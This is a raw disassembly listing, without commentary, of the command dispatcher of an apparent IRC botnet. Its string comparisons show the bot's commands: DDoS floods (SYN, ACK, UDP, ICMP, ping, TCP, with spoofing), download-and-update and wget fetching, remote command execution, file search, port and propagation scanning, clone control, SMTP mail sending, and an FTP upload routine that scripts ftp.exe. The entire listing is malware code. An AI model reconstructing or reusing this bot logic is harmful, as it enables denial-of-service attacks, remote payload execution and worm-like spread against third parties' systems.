loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_4377C8
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_43779C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h


loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"


loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE


loc_4110BD:				; CODE XREF: sub_40EE72+5701j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------


loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_43776C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_437740


loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]


loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43F5E0
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43F6EC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43F6E8
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43F668
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43F6B8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4373F4


loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------


loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_43739C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: sub_40EE72+2A87j
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_41730A
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730A
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730A
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_437324
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_4372E8


loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D


loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------


loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8


loc_411A5D:				; CODE XREF: sub_40EE72+5878j
		add	esp, 24h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_4372B0
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"


loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43725C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411BE3


loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------


loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_437214
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_4371CC
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43F758, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_437174
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411CF8


loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------


loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_43712C
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10


loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch


loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	[ebp+var_4]


loc_411D2F:				; CODE XREF: sub_40EE72+567Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414627
; ---------------------------------------------------------------------------


loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------


loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx


loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_4370BC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411E54


loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------


loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_437074
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA2
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax


loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx


loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 320h


